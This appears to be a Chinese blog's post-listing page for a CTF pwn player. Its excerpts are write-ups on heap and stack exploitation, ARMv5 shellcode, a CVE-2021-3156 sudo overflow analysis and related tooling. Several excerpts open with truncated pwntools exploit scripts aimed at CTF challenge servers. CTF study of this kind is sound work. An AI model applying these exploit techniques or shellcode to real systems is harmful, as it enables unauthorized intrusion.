自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(117)
  • 资源 (3)
  • 收藏
  • 关注

原创 traffic-forward

基于python的流量转发工具

2022-12-15 23:12:00 376 1

原创 windows-PWN小计

windows-pwn

2022-09-26 11:04:29 1213

原创 Armv5_shellcode

Armv5_shellcode背景:​ 由于在pwntools生成的shellcode默认Armv7语法无法在Armv5指令集芯片下执行,所以写了以下shellcode便于漏洞的利用,此shellcode为Armv5上亲测可使用且无NULL byte,此shellcode主要是对栈进行了操作,未对代码段与数据段进行修改。适用场景:​ 1.目标适用busybox​ 2.有栈溢出或者其他可以劫持程序流程漏洞​ 3.内存中布置好此段shellcode,且能执行适用busybox/*#exec

2022-04-14 19:16:58 2826

原创 getshell本质与深入探究

title: 反弹shellcode本质与深入探究date: 2022-03-24 14:25:01tags:PWNgetshell本质与深入探究目标​ 在做CTF-PWN方向题目时,总体流程就是分析漏洞程序、然后写利用脚本、攻击本地环境、攻击靶机环境得到flag,但是在攻击本地时为什么会获得本地的shell,同时攻击远程靶机时又为什么会获得远程靶机的shell呢?同样当我们攻击一个IOT设备时,会发现使用CTF-PWN中的方法不能够得到一个交互式的shell,今天就来一探究竟基础​ 首先.

2022-03-26 18:21:19 5047

原创 什么是uboot与bios?

title: what is uboot and bios?date: 2022-03-17 17:24:27tags:前言preface​ 最近在漏洞挖掘过程中,涉及到了一些基础的知识比如BIOS,uboot,qemu模拟的方面。​ 首先开始我们需要了解机器是怎么运行的​ 一般我们使用的机器都是windows或者Linux,(本人是高端MAC本🤣),什么是BIOS?他有什么用,他做了什么?按下开机键的时候机器干了啥?​ 问:​ 计算机是最讲逻辑,他会按照他的规则去运行,但是我们不知道.

2022-03-24 14:32:27 4110

原创 cve-2021-3156分析

cve-2021-3156首先了解sudoedit这个命令是在干什么使用sudoedit命令可以以另外一个用户身份编辑文件-u 以指定用户运行命令-g 以指定主要组群运行命令-n 防止提示用户输入密码这个漏洞听说估计是很早就出现了是一个堆溢出,漏洞点在 for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(siz

2021-01-28 14:25:09 1124 1

原创 大吉杯--ctf.show

easyrop简单栈溢出,将返回地址写成ROP然后在data段布置shellcode跳过去执行即可,我写了2段估计有大师傅分分钟秒解开from pwn import *context.terminal=['tmux','splitw','-h']#p=process("./easyrop")p=remote("111.231.70.44",28092)offset=64context.arch='amd64'sl=asm(shellcraft.sh())shellcode='''pop

2021-01-25 15:44:10 471

原创 pwnbale.tw Secret Garden

思路我是做了3次double free其实不需要这么多次em,其实可以构造堆块重叠的但是我看可以直接并且远程也很稳定就用double free了,先打malloc_hook打不同(好像可以使用realloc_hook调栈)我的思路是将stderr的flag值写成/bin/sh,虚表写成堆地址然后布置好system在exit函数调用fllush函数的时候触发overflow调用就会调用system("/bin/sh"),shell很稳定不错嘻嘻from pwn import *#p=process(".

2020-12-30 18:35:11 244

原创 pwnable.kr seethefile

忙里偷闲-------一道伪造_IO_file结构体的题目发现文件结构体指针直接放在bss段上我们可以修改,很明显就是让我们伪造_IO_FILE结构体了,根据程序逻辑我们需要仔细阅读fclose函数分析源码ing_IO_new_fclose (_IO_FILE *fp){ int status; CHECK_FILE(fp, EOF);#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) /* We desperately try to help

2020-12-14 16:57:48 204 1

原创 pwn-湖湘杯2020

from pwn import *p=process('./bh')elf=ELF('./bh')libc=elf.libccontext.terminal=['tmux','splitw','-h']def menu(idx): p.sendlineafter(">>",str(idx))def add(): menu(1)def show(idx): menu(2) p.sendlineafter("index?\n",str(idx))de

2020-11-04 10:36:23 489 1

原创 base64隐写

import sysdef get_base64_diff_value(s1, s2):base64chars = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/’res = 0for i in xrange(len(s1)):if s1[i] != s2[i]:return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))return resd

2020-11-01 21:56:18 432 1

原创 picoctf_2018_echooo

发现是简单的32位格式化字符串但是并且flag存了栈上,直接泄漏就行了,但是内存是小端存储的,所以倒序输出即可exp:from pwn import *#p=process('./PicoCTF_2018_echooo')p=remote('node3.buuoj.cn',26798)offset=11flag=''for i in range(27,27+11): payload='%{}$p'.format(str(i)) p.sendlineafter('> ',p

2020-09-23 15:56:43 511

原创 羊城杯

签到简单的uafrom pwn import *context.terminal = ['tmux', 'splitw', '-h']#p=process('./sg')p=remote('183.129.189.60',10029)elf=ELF('./sg')libc=elf.libcdef add(size,name,mess): p.sendlineafter(': ','1') p.sendlineafter(':',str(size)) p.sendlineafter('

2020-09-15 20:45:54 519

原创 记录护网暂停的日常(ciscn2020)

这几天我真的是忙的一就记录一下这几天的pwn的思路国赛pwn开始看no_free想到了house of orange但是不太会利用,堆学的不是很好.jpg但是之后做就是感觉来了,晚上做了2到成功以分区十几名的成绩进入了分区赛,希望大佬们轻点打钓鱼城杯就帮队伍做了2个pwn,真的难无法F5还是队友厉害3个pwnbabyjsc这个硬是被玩成了签到,python的input函数有eval的功能就直接命令执行了如图所示>>> input()__import__("os").sys

2020-08-28 14:03:40 1049

原创 root_me_stack_buffer_overflow_basic

ARM pwn简单的栈溢出,就是环境搭建的问题调试出偏移0xa4,发现啥保护没有开,还泄漏了栈地址,就直接ret2shellcode了from pwn import *#p=process(qemu-arm -g 1234 -L /usr/arm-linux-gnueabihf/ ./root_me_stack_buffer_overflow_basiac"])p=remote("node3.buuoj.cn",27876)p.sendlineafter('Give me data to dump

2020-08-10 13:43:09 448

原创 pwn更换libc的方法

是不是常常为pwn的不同ubuntu环境而困扰)小声我也是这里分享一个patchelf的方法首先下载patchelf然后执行着2条即可以import osos.system("patchelf --set-interpreter /libc-ld.so/{} ./pwn1").format(your_input)#这里是将链接器准备好os.system("patchelf --set-rpath /libc-ld.so/{} ./pwn1").format()#这里是将libc文件加载上

2020-08-05 21:10:06 1785 1

原创 SCTF2020

Snake在输入的地方有一次off by one的机会通过构造堆块重叠然后做2次double free改写got拿到shellexp:from pwn import *p=remote('39.107.244.116',9999)#p=process('./snake')elf=ELF('./snake')libc=elf.libcdef add(idx,size,data): p.sendlineafter('name','1') p.sendlineafter('?',str(id

2020-07-06 09:50:42 1512

原创 ciscn_2019_s_1

思路通过off by null写key值然后unlink写bss段再次double free写free_hook即可拿到shellexp:from pwn import *#p=process('./ciscn_s_1')p=remote('node3.buuoj.cn',26429)elf=ELF('./ciscn_s_1')libc=elf.libcdef add(idx,size,data): p.sendlineafter('show','1') p.sendlineafte

2020-06-29 19:13:51 707 2

原创 actf_2019_actfnote

思路通过溢出将topchunk的位置向上提然后申请堆块即可完成一次任意地址写入exp:#!/usr/bin/python2from pwn import *#p=process('./ACTF_2019_ACTFNOTE')p=remote('node3.buuoj.cn',26474)elf=ELF('./ACTF_2019_ACTFNOTE')libc=elf.libcdef add(size,name,content): p.sendlineafter('$ ','1') p.

2020-06-22 22:58:59 557

原创 RCTF-2015 nobug

思路有一个格式化字符串的漏洞int sub_8048B32(){ int v0; // eax const char *v1; // eax v0 = strlen(s); v1 = sub_804869D(s, v0, 0); return snprintf(byte_804A8A0, 0x800u, v1);}题目没有开nx我们可以直接布置好shellcode然后跳过去观察栈发现一个地方可以利用.text:08048BD7 sub

2020-06-07 21:48:14 678

原创 5月DASCTF

帮帮小红吧命令盲注是我没有想到的cat /flag |grep 'BJD{' || sleep(3);密码bbcrypto题目# -*- coding:utf-8 -*-import A,SALTfrom itertools import *def encrypt(m, a, si): c="" for i in range(len(m)): c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill

2020-05-24 18:02:24 1228 3

原创 考研学校的爬虫(自己写的可能会有点菜

最近因为准备考研所以就把要考研的学校的招生简章给爬了下来开机启动我爬我怕我忘了最新的学校通告所以才写的首先确定目标~~url="你要的学校"然后这里我观察

2020-05-18 11:40:22 797

原创 requests模块总结

get先导入模块import requestsrep=requests.get(url)返回一个对象可调用的常用方法有rep.text//返回网页的字符串文本会有编码问题rep.content//返回访问的二进制文件常用于爬取图片等文件rep.encoding//返回页面的编码rep.status_code//返回页面的状态码rep.header//返回相应头字典的形式rep.ok//查看是否登入成功r.json//这里搞一篇文章单独讲url里面传递参数pararms={'id

2020-05-12 22:47:16 254

原创 de1ctf_2019_weapon

这题我多了一个换行搞了老久了服了还是tcl思路有uaf通过写IO来得到libc地址然后通过double free来拿到shellexp:#!/usr/bin/python2from pwn import *p=0def pwn(): global p #p=process('./de1ctf_2019_weapon') p=remote('node3.buuoj.cn',292...

2020-05-06 13:50:18 694

原创 5月份36dctf

exec_comm.constprop+1162kaishellPWN_MengxinStack栈不会了orz就是基本的栈溢出操控libc_start_main这个函数来控制程序流程需要将返回地址爆破到libc_start_main+176然后就是基本的ROP了exp:#!/usr/bin/python2from pwn import *p=0def pwn(ip,port,deb...

2020-05-04 21:35:32 391 1

原创 x_nuca_2018_0gadget

思路在bss段上有构造uaf然后劫持got表即可exp:#!/usr/bin/python2from pwn import *def pwn(): #p=process('./X-nuca_2018_0gadget') p=remote('node3.buuoj.cn',27565) elf=ELF('./X-nuca_2018_0gadget') libc=elf.libc ...

2020-04-30 16:52:08 287

原创 2020安恒4月赛pwn(看看还能不能更)

orz没赶上回家已经5点半了就回顾了一下pwn题挺好的出的思路就是uaf控制好堆块然后写到got表leaklibc然后再次做一次写free为system即可exp:#!/usr/bin/python2from pwn import *def pwn(): p=process('./sales_office') elf=ELF('./sales_office') libc=ELF...

2020-04-25 20:34:20 701

原创 ciscn_2019_sw_7

思路堆溢出orztcache不要全部写坏不然难搞exp:#!/usr/bin/python2from pwn import *p=0def pwn(ip,port,debug): global p if debug==1: p=process('./ciscn_2019_sw_7') elf=ELF('./ciscn_2019_sw_7') libc=elf.libc...

2020-04-23 18:55:05 323

原创 NPUCTF pwn

题目质量很高萌新直接自闭z这2道题都挺基础的easy_heapexp:off by one 造成了任意地址写的漏洞#!/usr/bin/python2from pwn import *p=0def pwn(): global p #p=process('./pwn') p=remote('ha1cyon-ctf.fun',30179) elf=ELF('./pwn') l...

2020-04-21 22:03:31 741

原创 ciscn_2019_sw_1

思路通过格式化字符串是程序无限循环(__do_global_dtors_aux_fini_array_entry内存的地址写成main函数地址)我们是通过libc_start_main调用main函数不管是在man函数调用前后都会调用fini函数的指针所以只要将其写坏即可然后将print_got表写成system即可拿到shellexp:from pwn import *#p=proce...

2020-04-16 20:42:54 569

原创 ciscn_2019_es_4

思路先unlink将地址key写好然后做一次off by one在tcache attack就行了exp:#!/usr/bin/python2from pwn import *#p=process('./ciscn_2019_es_4')p=remote('node3.buuoj.cn',25382)elf=ELF('./ciscn_2019_es_4')libc=elf.libc...

2020-04-08 15:45:43 397

原创 noxctf2018_grocery_list&&actf_2019_message

noxctf2018_grocery_list先是观察函数发现有一个可以泄露栈地址然后通过tcache attack打到栈上泄露libcbase然后再次写入free_hook拿到shellexp:#!/usr/bin/python2from pwn import *#p=process('./GroceryList')p=remote('node3.buuoj.cn',26988)e...

2020-03-17 22:45:24 506

原创 高校战疫网络安全分享赛pwn复盘

就做了一个pwn我tcl但是收获很多woodenbox2这道题有先是用chunk overlop然后将unsortbin切割到fastbin(此时unsortbin与fastbin指向了同一个堆块)通过堆溢出将低位覆盖为stdout上面的位置然后写IO_FILE结构体leaklibc基址然后通过fastbin attack打malloc_hook即可IO_FILE结构体的知识可看一下h...

2020-03-10 13:46:09 806 2

原创 ciscn_2019_c_3

思路通过后门函数改fd然后tcache dump打到free_hook即可exp:#!/usr/bin/python2from pwn import *#p=process('./ciscn_2019_c_3')p=remote('node3.buuoj.cn',29374)elf=ELF('./ciscn_2019_c_3')libc=elf.libcdef add(size...

2020-03-04 14:06:11 398

原创 suctf2018_heap

suctf2018_heap这道题会一次性申请2个相同大小的chunk做的时候有点逻辑混乱深深的怀疑本来是ubuntu16的环境…思路 :off by one打成堆重叠写到指针段写atoi为system拿shellexp:from pwn import *#p=process('./offbyone')p=remote('node3.buuoj.cn',26238)elf=ELF(...

2020-02-27 22:25:22 357

原创 hg2020 pwn

打了我就记录一下(有点记不太清了有点久了~~)Annevi这道题是做2次unlink然后写got表即可#!/usr/bin/python2from pwn import *local=0if local==1: p=process('./Annevi') elf=ELF('./Annevi') libc=elf.libcelse: p=remote('47.103.214....

2020-02-23 22:17:08 472

原创 新春战疫公益赛(二)pwn

第一天和第三天直接被爆锤自己已经尽力了武汉加油!!!borrowstack就是基本的栈迁移exp:from pwn import *from LibcSearcher import *#p=process('./borrowstack')p=remote('123.56.85.29',3635)elf=ELF('./borrowstack')libc=elf.libcbss...

2020-02-23 22:07:48 800 2

原创 cmcc_simplerop

思路明显rop可以用工具但是需要自己调一下长度ememexp:from pwn import *from struct import pack#io=process('./simplerop')io=remote('node3.buuoj.cn',27913)io.recvuntil(':')# Padding goes herep = 'a'*0x14+p32(1)*3p +...

2020-02-20 10:36:28 1012 2

原创 shanghai2019_boringheap

思路abs函数(取绝对值)的溢出使得为负数然后改size构造2个指针指向同一chunk完成一次double free为远程ubuntu18即可以直接打free_hookexp:from pwn import *#p=process('./pwn')p=remote('node3.buuoj.cn',26942)elf=ELF('./pwn')libc=elf.libcdef ad...

2020-02-18 21:14:03 348

原创 X-nuca_2018_offbyone2

思路off by null构造堆重叠然这里的堆块个数充足直接打2次第一次leak libc基址再次布置好堆块然后打free_hook拿到shellexp:from pwn import *#p=process('./X-nuca_2018_offbyone2')p=remote('node3.buuoj.cn',28262)elf=ELF('./X-nuca_2018_offbyo...

2020-02-11 14:26:33 465 1

ARM 版本netcat ARM 版本netcat ARM 版本netcat ARM 版本netcat ARM 版本netcat

arm版本的netcat

2021-03-12

SCTF2020 官方Write-up.pdf

SCTF的官方wp!SCTF的官方wp!如有侵权请私信撤回谢谢。

2020-07-08

栈溢出 (1).pdf

栈溢出是pwn的根本也是萌新入坑最好的方式,里面有栈溢出的根本原理等希望喜欢

2019-09-30

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除